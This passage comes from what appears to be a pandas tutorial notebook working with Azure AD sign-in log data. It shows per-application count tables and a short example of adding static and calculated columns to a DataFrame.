Microsoft Office 365 Portal | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | ... | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 0 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 |
Microsoft Power BI | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | ... | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 0 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 |
Microsoft Stream Portal | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | ... | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 0 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 |
My Apps | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | ... | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 |
My Profile | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | ... | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 0 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 |
O365 Suite UX | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | ... | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 |
Office 365 SharePoint Online | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | ... | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 0 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 | 11 |
Office365 Shell WCSS-Client | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | ... | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 0 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 | 57 |
WindowsDefenderATP Portal | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | ... | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 0 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 |
30 rows 68 columns
AppCount | |
---|---|
AppDisplayName | |
1 | |
ACOM Azure Website | 3 |
App Service | 3 |
Azure AD Identity Governance - Entitlement Management | 1 |
Azure Active Directory PowerShell | 8 |
Azure Advanced Threat Protection | 19 |
Azure DevOps | 7 |
Azure Machine Learning Workbench Web App | 2 |
Azure Portal | 884 |
Azure Synapse Studio | 2 |
Intranet | 1 |
Microsoft 365 Security and Compliance Center | 32 |
Microsoft App Access Panel | 5 |
Microsoft Azure Active Directory Connect | 985 |
Microsoft Azure CLI | 4 |
Microsoft Azure PowerShell | 1 |
Microsoft Azure Purview Studio | 75 |
Microsoft Cloud App Security | 5 |
Microsoft Docs | 10 |
Microsoft Edge | 2 |
Microsoft Invitation Acceptance Portal | 2 |
Microsoft Office 365 Portal | 2 |
Microsoft Power BI | 2 |
Microsoft Stream Portal | 2 |
My Apps | 1 |
My Profile | 6 |
O365 Suite UX | 1 |
Office 365 SharePoint Online | 11 |
Office365 Shell WCSS-Client | 57 |
WindowsDefenderATP Portal | 2 |
Our DataFrame call also be extended to add new columns with additional data if required. The new column data can be static or calculated data as show in these examples.
data_mod = data.copy()
data_mod["NewCol"] = "Look at my new data!" # Add the same string to every row in this column
data_mod["Plus1Hr"] = data_mod["TimeGenerated"] + pd.Timedelta("1d") # Calculated column (add 1 day to date)
display(data_mod[["TenantId","AppDisplayName", "TimeGenerated", "NewCol", "Plus1Hr"]].head(5))
TenantId | AppDisplayName | TimeGenerated | NewCol | Plus1Hr | |
---|---|---|---|---|---|
0 | 8ecf8077-cf51-4820-aadd-14040956f35d | Microsoft Azure Active Directory Connect | 2021-06-28 10:55:21.648000+00:00 | Look at my new data! | 2021-06-29 10:55:21.648000+00:00 |
1 | 8ecf8077-cf51-4820-aadd-14040956f35d | Microsoft Azure Active Directory Connect | 2021-06-28 10:55:26.252000+00:00 | Look at my new data! | 2021-06-29 10:55:26.252000+00:00 |
2 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure Portal | 2021-06-28 11:36:15.896000+00:00 | Look at my new data! | 2021-06-29 11:36:15.896000+00:00 |
3 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure Portal | 2021-06-28 12:24:50.274000+00:00 | Look at my new data! | 2021-06-29 12:24:50.274000+00:00 |
4 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure Portal | 2021-06-28 12:24:44.957000+00:00 | Look at my new data! | 2021-06-29 12:24:44.957000+00:00 |
There is a lot more you can do with Pandas, the links below provide some useful resources: